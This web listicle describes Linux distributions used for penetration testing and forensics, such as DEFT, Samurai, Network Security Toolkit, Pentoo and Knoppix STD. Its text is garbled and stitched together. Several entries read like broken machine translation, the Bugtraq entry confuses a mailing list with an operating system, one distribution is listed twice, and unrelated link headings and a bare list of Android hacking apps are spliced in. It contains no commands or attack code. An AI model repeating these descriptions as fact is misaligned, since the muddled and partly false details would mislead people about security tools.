DEFT stands for Digital Evidence and Forensic Toolkit and it is a distribution of Linux open source software built around the DART (Toolkit for Advanced Response Digital) and is based on the Ubuntu operating system. It has been designed from scratch to offer some of the best computer forensics open source and incident response tools that can be used by individuals, IT auditors, investigators, military, and police.

6. Samurai Web Testing Framework

The Samurai Web Testing Framework is a live Linux environment which has been pre-configured to function as a web pen-testing environment. The CD contains the best of open source and free tools that focus on testing and websites that attack. In the development of this environment, it is based on our selection of tools that we use in our practice of security. Hence, it includes the tools that were used in the four steps of a pen-test web.

7. Network Security Toolkit

The Network Security Toolkit (NST) is a Live CD based on Linux that provides a set of security tools computing and open source network to carry out routine security tasks and diagnostic networks and tracing. The distribution can be used as an analysis of network security, validation and monitoring tool for servers hosting virtual machines. NST has management capabilities similar to Fedora packages and maintains its own repository of additional packages.

8. Bugtraq

Bugtraq is a mailing list dedicated to safety issues in computers. On-topic issues new discussions about vulnerabilities, security-related notices providers, operating methods, and how to fix them. This is a mailing list of large volume, and almost all new vulnerabilities are there. Bugtraq computer freaks and experienced developers are discussed, is available in Debian, Ubuntu and openSUSE 32 and 64-bit architectures.

9. NodeZero

NodeZero is an open source system based on the operating core derived from the most popular Linux distribution in the world, Ubuntu, and designed to be used for penetration testing operations. The distribution can be downloaded as an ISO image live DVD, which will also take place on computers that support both 32-bit (x86) and 64-bit (x86_64) instruction set. Besides the fact that it allows you to start the live system, start menu contains several advanced features such as the ability to perform a diagnostic test of system memory, boot from local disk options, start the installer directly and to start in safe graphics mode, text mode or in debug mode.

Default graphical desktop environment NodeZero is powered by GNOME, which uses the classic GNOME interface. It has a design of two panels and uses the default software repositories of Ubuntu.

10. Pentoo

Pentoo is a Live CD and Live USB OS designed for penetration testing and security assessment. It is based on Gentoo Linux, Pentoo is offered both as 32-bit and 64-bit live cd which is installable. Pentoo is also available as a superposition of an existing Gentoo installation. It has conductors packet injection patched wifi, GPGPU cracking software, and plenty of tools for penetration testing and security assessment. The kernel includes Pentoo grsecurity and PAX hardening and additional patches with the binary compiled from a string of hardened with the latest nightly versions of some tools that are available.

#11 Live Hacking OS

Well, this Linux distro actually comes with some useful hacking tools which are often used in penetration testing or ethical hacking purpose. Live Hacking OS consists of the GNOME inbuilt. The operating system is really easy to operate and it can work on less RAM.

#12 Knoppix STD

This is another best Linux distro which focuses on tools for computer security. Knoppix STD brings some advanced tools for Password cracking, Firewalls, Network Utilities, Honeypots, Wireless Networking and more. This is one of the most used operating systems for Hackers.

#13 Cyborg Hawk

Cyborg Hawk is a new operating system which is based on Ubuntu Linux. Well, lots of hackers talk about Cyborg hawk and its one of the most powerful and cutting-edge penetration testing distribution that has ever been created. The operating system houses more than 700 tools for different purposes.

#14 Blackbuntu

Well, this is another operating system which is based on Linux and it was specially developed for penetration testing. Well, the operating system is very famous amongst hackers and it offers an awesome platform to learn Information security.

#15 Weakerth4n

Well, this is another best operating system which is used by professional hackers. WeakerTh4n actually comes with lots of hacking tools and it's actually a modern operating system for WiFi Hacking. Some of the wireless tools include SQL Hacking, Password Cracking, WiFi attacks, Cisco exploitation and more.

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Related posts

Related links

Related word

GitHub Code for RFCrack:

Full RF Hacking Course in Development:

Walkthrough Training Video:

Until Next time:

1. AndroRAT

2. zANTI

3. FaceNiff

4. Droidsheep

5. Hackode

6. cSploit

7. DroidBox

8. Nmap

9. SSHDroid

10. Kali Linux NetHunter

11. APKInspector

12. Shark for Root

13. dSploit

14. WPScan

15. Network Mapper

16. Andosid

17. DroidSQLi

18. AppUse

19. Network Spoofer

20. DroidSheep Guard

The obvious problems

The double-blind command injection

My hardening list

My TODO list

More info

Read more

Read more

More info

Top 15 Best Operating System Professional Hackers Use

1. Kali Linux

2. Back Box

3. Parrot Security OS

4. Live Hacking OS

5. DEFT Linux

6. Samurai Web Testing Framework

7. Network Security Toolkit

8. Bugtraq

9. NodeZero

10. Pentoo

#11 Live Hacking OS

#12 Knoppix STD

#13 Cyborg Hawk

#14 Blackbuntu

#15 Weakerth4n

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